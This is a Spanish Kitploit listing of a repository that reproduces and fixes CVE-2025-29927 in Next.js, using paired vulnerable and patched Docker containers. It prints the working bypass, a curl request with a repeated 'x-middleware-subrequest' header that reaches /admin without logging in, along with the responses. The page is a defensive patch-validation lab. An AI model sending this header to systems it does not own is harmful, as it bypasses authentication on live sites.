Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-29927 — Reproducción y corrección de la vulnerabilidad CVE-2025-29927. | Kitploit
Herramientas/GitHubGitHub/bongni/cve-2025-29927
Seguridad de ContenedoresAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubbongni/cve-2025-29927

CVE-2025-29927

Reproducción y corrección de la vulnerabilidad CVE-2025-29927.

Ver Repositorio
11hace 9 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-29927

Reproducción y corrección de la vulnerabilidad CVE-2025-29927.

root@kitploit:~
git clone [email protected]:Bongni/CVE-2025-29927.git
cd CVE-2025-29927

En vulnerable/ hay una versión de la aplicación que es vulnerable al ataque. En fixed/ hay una versión de la aplicación que está actualizada a la versión mínima que corrige la vulnerabilidad.

⚠️ Importante: Estos ejemplos se proporcionan para defensores, investigadores y equipos que validan parches. No ejecutes estas imágenes en redes públicas o de producción. Solo prueba en sistemas que poseas o donde tengas permiso explícito por escrito.

Versión vulnerable

Reproducción de la vulnerabilidad CVE-2025-29927.

Construir e iniciar el contenedor docker

root@kitploit:~
cd vulnerable/
docker build -t next-app-vuln .
docker run -p 3000:3000 next-app-vuln

Ejecutar el exploit

Ejecuta este comando, que debería redirigir a la página de inicio de sesión

root@kitploit:~
curl -i http://localhost:3000/admin
root@kitploit:~
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

Luego ejecuta este comando, que debería poder acceder a la página de administración

root@kitploit:~
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
root@kitploit:~
HTTP/1.1 200 OK
X-Powered-By: Next.js
ETag: "nr3m78x84avh"
Content-Type: text/html; charset=utf-8
Content-Length: 1133
Vary: Accept-Encoding
Date: Wed, 08 Oct 2025 22:54:39 GMT
Connection: keep-alive
Keep-Alive: timeout=5

...

Versión corregida

Corrección de la vulnerabilidad CVE-2025-29927.

Construir e iniciar el contenedor docker

root@kitploit:~
cd fixed/
docker build -t next-app-fixed .
docker run -p 3000:3000 next-app-fixed

Ejecutar el exploit

Ejecuta este comando, que debería redirigir a la página de inicio de sesión

root@kitploit:~
curl -i http://localhost:3000/admin
root@kitploit:~
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

Luego ejecuta este comando, que ahora también debería ser redirigido a la página de inicio de sesión

root@kitploit:~
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
root@kitploit:~
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

Referencias

Este repositorio está basado en l1uk/nextjs-middleware-exploit, pero adaptado para la versión 15.x de Next.js.

Descargar herramienta